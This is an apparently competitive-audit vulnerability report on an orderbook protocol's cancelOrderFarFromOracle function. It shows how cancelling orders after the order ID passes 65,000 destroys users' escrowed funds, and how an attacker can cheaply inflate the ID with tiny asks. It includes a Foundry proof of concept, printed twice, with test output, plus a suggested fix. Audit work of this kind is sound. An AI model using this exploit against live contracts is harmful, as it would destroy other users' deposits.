Users Lose Funds and Market Functionality Breaks When Market Reachs 65k Id
if the orderbook of any market reach 65,000 dao can call the function cancelOrderFarFromOracle multiple times to cancel many orders up to 1000 order in each transaction ,or anyone can cancle the last order in one call.the users who issued the canclled orders will lost thier deposits.and the canclled process is not limited to a certain orders numbers.\\nsource : contracts/facets/OrderFacet.sol\\nFunction : cancelOrderFarFromOracle\\nwhen ever a user create a limit order (short limit,bid limit,ask limit), if the order did not match it get added to the orderbook, and the `assets amount` or `eth amount` uses to create this order is taken from the Virtual balance of the user in the system .\\nuserVault(in case of `bids` and shorts) or userAsset(in case of asks) we can see that here :\\n`      // for asks:\\n      s.assetUser[asset][order.addr].ercEscrowed -= order.ercAmount;\\n      // for `shorts` :\\n      s.vaultUser[vault][order.addr].ethEscrowed -= eth;\\n      //for `bids` :\\n      s.vaultUser[vault][order.addr].ethEscrowed -= eth;`\\nalso if there is no id's Recycled behind the Head the id for this orders gonna be the current id in s.asset[asset].orderId,and the `s.asset[asset].orderId` get increamented by one . this is true for all three types of orders. (shorts,asks,bids).\\nnow in case this ordersId reach 65k for a specific market, the DAO are able to cancle the last 1000 order, and any one can cancle last order in one call. since it's only checks for the ordersId > 65000.and by the last order i mean the last order of any time of limit orders (asks,shorts,bids).\\n`function cancelOrderFarFromOracle(address asset, O orderType, uint16 lastOrderId, uint16 numOrdersToCancel)\\n    external\\n    onlyValidAsset(asset)\\n    nonReentrant\\n{\\n    if (s.asset[asset].orderId < 65000) {\\n        revert Errors.OrderIdCountTooLow();\\n    }\\n\\n    if (numOrdersToCancel > 1000) {\\n        revert Errors.CannotCancelMoreThan1000Orders();\\n    }\\n\\n    if (msg.sender == LibDiamond.diamondStorage().contractOwner) {\\n        if (orderType == O.LimitBid && s.bids[asset][lastOrderId].nextId == Constants.TAIL) {\\n            s.bids.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);\\n        } else if (orderType == O.LimitAsk && s.asks[asset][lastOrderId].nextId == Constants.TAIL) {\\n            s.asks.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);\\n        } else if (orderType == O.LimitShort && s.shorts[asset][lastOrderId].nextId == Constants.TAIL) {\\n            s.shorts.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);\\n        } else {\\n            revert Errors.NotLastOrder();\\n        }\\n    } else {\\n        //@dev if address is not DAO, you can only cancel last order of a side\\n        if (orderType == O.LimitBid && s.bids[asset][lastOrderId].nextId == Constants.TAIL) {\\n            s.bids.cancelOrder(asset, lastOrderId);\\n        } else if (orderType == O.LimitAsk && s.asks[asset][lastOrderId].nextId == Constants.TAIL) {\\n            s.asks.cancelOrder(asset, lastOrderId);\\n        } else if (orderType == O.LimitShort && s.shorts[asset][lastOrderId].nextId == Constants.TAIL) {\\n            s.shorts.cancelOrder(asset, lastOrderId);\\n        } else {\\n            revert Errors.NotLastOrder();\\n        }\\n    }\\n}\\n... ....\\n// cancle many orders no extra checks  :\\nfunction cancelManyOrders(\\n    mapping(address => mapping(uint16 => STypes.Order)) storage orders,\\n    address asset,\\n    uint16 lastOrderId,\\n    uint16 numOrdersToCancel\\n ) internal {\\n    uint16 prevId;\\n    uint16 currentId = lastOrderId;\\n    for (uint8 i; i < numOrdersToCancel;) {\\n        prevId = orders[asset][currentId].prevId;\\n        LibOrders.cancelOrder(orders, asset, currentId);\\n        currentId = prevId;\\n        unchecked {\\n            ++i;\\n        }\\n    }\\n}\\n...... .....\\n// no extrac checks in  cancleOrder() function also. it set the order to Cancelled , remove it from the list, and Set it to be reused:\\nfunction cancelOrder(mapping(address => mapping(uint16 => STypes.Order)) storage orders, address asset, uint16 id)\\n    internal\\n {\\n    uint16 prevHEAD = orders[asset][Constants.HEAD].prevId;\\n\\n    // remove the links of ID in the market\\n    // @dev (ID) is exiting, [ID] is inserted\\n    // BEFORE: PREV <-> (ID) <-> NEXT\\n    // AFTER : PREV <----------> NEXT\\n    orders[asset][orders[asset][id].nextId].prevId = orders[asset][id].prevId;\\n    orders[asset][orders[asset][id].prevId].nextId = orders[asset][id].nextId;\\n\\n    // create the links using the other side of the HEAD\\n    emit Events.CancelOrder(asset, id, orders[asset][id].orderType);\\n    _reuseOrderIds(orders, asset, id, prevHEAD, O.Cancelled);\\n}`\\nas we said the user balance get decreaced by the `value` of it's order he created. but since the order is set to cancelled the user never gonna be able to recieve thier amount back.cause cancelled orders can't be matched Neither cancelled again.\\nEx:\\na user create a limit bid as follow : {price: 0.0001 ether, amount: 10000 ether}.\\nwhen this order get cancelled : the user will loose : 0.0001 * 10000 = `1 ether` ZETH (or ETH)\\nthe shorters will lose more then others since thier balance get decreaced by : PRICE * AMOUNT * MARGIN.\\nThe second issue is there is no limit for how many orders can be cancelled. you can cancel the whole orders in a market that reaches 65K `orderId`. `limits shorts` ,limits `asks` or `limit bids` .starting from the last one.since the only Conditionto be able to cancel orders is the asset order ID reached this number. and if it reachs it. it never decrease .even if there is alot of orders behind head(non active) to be reused.\\na malicious actor Can targeted this vulnerability by creating numerous tiny limit `asks` pushing the `orderId` to be too high .and he can do so by creating `ask` with a very high price and very small amount so he can pass the `MinEth` amount check, he can just with less then `1 cusd` (in case of cusd market) create a bunsh of limit `asks` orders .\\nPOC :\\nusing the the main repo setup for testing , here a poc shows how a malicious user can fill the orderbook with bunsh of tiny `limit asks` with little cost. and how you can cancle all orders in case the orderId reachs 65k. also that there is no refund for the users that created this orders.\\n```\\n// SPDX-License-Identifier: GPL-3.0-only\\npragma solidity 0.8.21;\\n\\nimport {Errors} from "contracts/libraries/Errors.sol";\\nimport {Events} from "contracts/libraries/Events.sol";\\nimport {STypes, MTypes, O} from "contracts/libraries/DataTypes.sol";\\nimport {Constants} from "contracts/libraries/Constants.sol";\\nimport "forge-std/console.sol";\\nimport {OBFixture} from "test/utils/OBFixture.sol";\\n// import {console} from "contracts/libraries/console.sol";\\n\\ncontract POC is OBFixture {\\n   address[3] private bidders = [address(435433), address(423432523), address(522366)];\\n   address[3] private shorters = [address(243422243242), address(52353646324532), address(40099)];\\n    address attacker = address(3234);\\n   function setUp() public override {\\n       super.setUp();\\n   }\\n\\n       // an attacker can fill the order book with a bunsh of asks that have too high price and low asset \\n   function test_fillWithAsks() public {\\n    // create a bunsh of asks with a high price :\\n    depositUsd(attacker, DEFAULT_AMOUNT * 10000);\\n    uint balanceAssetBefore = diamond.getAssetBalance(asset,attacker);\\n        // minAsk = 0.0001 ether . 0.0001 ether = x * 1 , x =0.0001 ether * 1 ether\\n        vm.startPrank(attacker);\\n        for (uint i ; i< 1000 ;i++){\\n           createLimitAsk(  10**24, 10**10); \\n        }\\n        vm.stopPrank();\\n        STypes.Order[] memory asks = diamond.getAsks(asset);\\n        console.log("tiny asks created : ", asks.length);\\n        console.log( "hack cost asset", balanceAssetBefore - diamond.getAssetBalance(asset,attacker));\\n\\n   }\\n   function test_cancleOrders() public {\\n       //set the assetid to 60000;\\n       diamond.setOrderIdT(asset,64998);\\n       // create multiple bids and 1 shorts\\n       fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, bidders[0]); // id 64998\\n       fundLimitShortOpt(uint80(DEFAULT_PRICE)*4, DEFAULT_AMOUNT, shorters[0]); //id 64999\\n       fundLimitBidOpt(DEFAULT_PRICE*2, DEFAULT_AMOUNT, bidders[1]); // id 65000\\n       fundLimitBidOpt(DEFAULT_PRICE*3 , DEFAULT_AMOUNT, bidders[2]); //id 65001\\n       /* now we have the lists like this :\\n        - for bids : Head <- Head <->65001<->65000<->64998->Tail\\n        - for shorts: Head <- Head <->64999->Tail\\n        */\\n\\n       //lets cancle the all the bids :\\n       canclebid(64998);\\n       //  - now : Head <-64998<-> Head <->65001<->65000->Tail\\n       uint s1 = vm.snapshot();\\n       vm.revertTo(s1);\\n       canclebid(65000);\\n       // - now : Head <-64998<->65000<-> Head <->65001->Tail\\n       uint s2 = vm.snapshot();\\n       vm.revertTo(s2);\\n       canclebid(65001);\\n       // - now : Head <-64998<->65000<->65001<-> Head ->Tail\\n       // let's check the  active bids :\\n       STypes.Order[] memory Afterbids = diamond.getBids(asset);\\n       // notice that we were able to delete all the bids even there was unActive ID's to be reused.\\n       assertTrue(Afterbids.length == 0);\\n       // also notice that the owners of this orders did not get refund thier zeth back that have been taken from them when they create this orders.\\n\\n       for (uint i; i<bidders.length;i++){\\n        // check that there is no refund for the users : \\n           uint ethUser = diamond.getZethBalance(vault,bidders[i]);\\n           console.log('balance of : ', bidders[i],ethUser);\\n           assertEq(ethUser ,0);\\n       }\\n       // also we can cancle the shorts and the asks, i don't wanna make POC to long , but this is the idea.you can cancle all the orders of a market if this market reach 65000,\\n       assertEq(diamond.getShorts(asset).length,1);\\n       diamond.cancelOrderFarFromOracle(asset, O.LimitShort, 64999, 1);\\n       assertEq(diamond.getShorts(asset).length,0);\\n\\n   }\\n   function canclebid(uint16 id) public {\\n       diamond.cancelOrderFarFromOracle(asset, O.LimitBid, id, 1);\\n   }\\n\\n\\n}\\n```\\n\\nconsole after running test :\\n```\\n    [PASS] test_cancleOrders() (gas: 1218326)\\nLogs:\\n  balance of :  0x000000000000000000000000000000000006A4E9 0\\n  balance of :  0x00000000000000000000000000000000193d114b 0\\n  balance of :  0x000000000000000000000000000000000007f87E 0\\n\\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 222.12ms\\n\\nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\\n```\\n\\nfor creating bunsh of tiny asks :\\n```\\n[PASS] test_fillWithAsks() (gas: 860940067)\\nLogs:\\n  tiny asks created :  1000\\n  hack cost asset 10000000000000 (which is less then 1 cusd) \\n\\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.17s\\n \\nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\\n```\\n\\nimpact :\\nusers will lose thier `zeth` or `Erc` pagged asset dependens on the order type .\\nany type of orders in this market (shorts,asks,bids) can be effected and cancelled even if there is a lot of non active ids to be reused.\\nthe whole orders in a market can be canncelled without refunding the orders creators.\\ntools used :\\nmanual review
Users Lose Funds and Market Functionality Breaks When Market Reachs 65k Id\\nbefore cancling the orders , check that there is no orders to be reuse or the diffrence between the current orderId (s.asset[asset].orderId) , and the orders to be reused (behind the Head) of this market are Greater then 65000.\\n```\\n// sudo code recommand , but it's really depends on the team how to handle that:\\n if (s.asset[asset].OrderId) - (shorts.unActiveIds + asks.unActiveIds + bids.unActiveIds) < 65k revert.\\n```\\n
```\\n// SPDX-License-Identifier: GPL-3.0-only\\npragma solidity 0.8.21;\\n\\nimport {Errors} from "contracts/libraries/Errors.sol";\\nimport {Events} from "contracts/libraries/Events.sol";\\nimport {STypes, MTypes, O} from "contracts/libraries/DataTypes.sol";\\nimport {Constants} from "contracts/libraries/Constants.sol";\\nimport "forge-std/console.sol";\\nimport {OBFixture} from "test/utils/OBFixture.sol";\\n// import {console} from "contracts/libraries/console.sol";\\n\\ncontract POC is OBFixture {\\n   address[3] private bidders = [address(435433), address(423432523), address(522366)];\\n   address[3] private shorters = [address(243422243242), address(52353646324532), address(40099)];\\n    address attacker = address(3234);\\n   function setUp() public override {\\n       super.setUp();\\n   }\\n\\n       // an attacker can fill the order book with a bunsh of asks that have too high price and low asset \\n   function test_fillWithAsks() public {\\n    // create a bunsh of asks with a high price :\\n    depositUsd(attacker, DEFAULT_AMOUNT * 10000);\\n    uint balanceAssetBefore = diamond.getAssetBalance(asset,attacker);\\n        // minAsk = 0.0001 ether . 0.0001 ether = x * 1 , x =0.0001 ether * 1 ether\\n        vm.startPrank(attacker);\\n        for (uint i ; i< 1000 ;i++){\\n           createLimitAsk(  10**24, 10**10); \\n        }\\n        vm.stopPrank();\\n        STypes.Order[] memory asks = diamond.getAsks(asset);\\n        console.log("tiny asks created : ", asks.length);\\n        console.log( "hack cost asset", balanceAssetBefore - diamond.getAssetBalance(asset,attacker));\\n\\n   }\\n   function test_cancleOrders() public {\\n       //set the assetid to 60000;\\n       diamond.setOrderIdT(asset,64998);\\n       // create multiple bids and 1 shorts\\n       fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, bidders[0]); // id 64998\\n       fundLimitShortOpt(uint80(DEFAULT_PRICE)*4, DEFAULT_AMOUNT, shorters[0]); //id 64999\\n       fundLimitBidOpt(DEFAULT_PRICE*2, DEFAULT_AMOUNT, bidders[1]); // id 65000\\n       fundLimitBidOpt(DEFAULT_PRICE*3 , DEFAULT_AMOUNT, bidders[2]); //id 65001\\n       /* now we have the lists like this :\\n        - for bids : Head <- Head <->65001<->65000<->64998->Tail\\n        - for shorts: Head <- Head <->64999->Tail\\n        */\\n\\n       //lets cancle the all the bids :\\n       canclebid(64998);\\n       //  - now : Head <-64998<-> Head <->65001<->65000->Tail\\n       uint s1 = vm.snapshot();\\n       vm.revertTo(s1);\\n       canclebid(65000);\\n       // - now : Head <-64998<->65000<-> Head <->65001->Tail\\n       uint s2 = vm.snapshot();\\n       vm.revertTo(s2);\\n       canclebid(65001);\\n       // - now : Head <-64998<->65000<->65001<-> Head ->Tail\\n       // let's check the  active bids :\\n       STypes.Order[] memory Afterbids = diamond.getBids(asset);\\n       // notice that we were able to delete all the bids even there was unActive ID's to be reused.\\n       assertTrue(Afterbids.length == 0);\\n       // also notice that the owners of this orders did not get refund thier zeth back that have been taken from them when they create this orders.\\n\\n       for (uint i; i<bidders.length;i++){\\n        // check that there is no refund for the users : \\n           uint ethUser = diamond.getZethBalance(vault,bidders[i]);\\n           console.log('balance of : ', bidders[i],ethUser);\\n           assertEq(ethUser ,0);\\n       }\\n       // also we can cancle the shorts and the asks, i don't wanna make POC to long , but this is the idea.you can cancle all the orders of a market if this market reach 65000,\\n       assertEq(diamond.getShorts(asset).length,1);\\n       diamond.cancelOrderFarFromOracle(asset, O.LimitShort, 64999, 1);\\n       assertEq(diamond.getShorts(asset).length,0);\\n\\n   }\\n   function canclebid(uint16 id) public {\\n       diamond.cancelOrderFarFromOracle(asset, O.LimitBid, id, 1);\\n   }\\n\\n\\n}\\n```\\n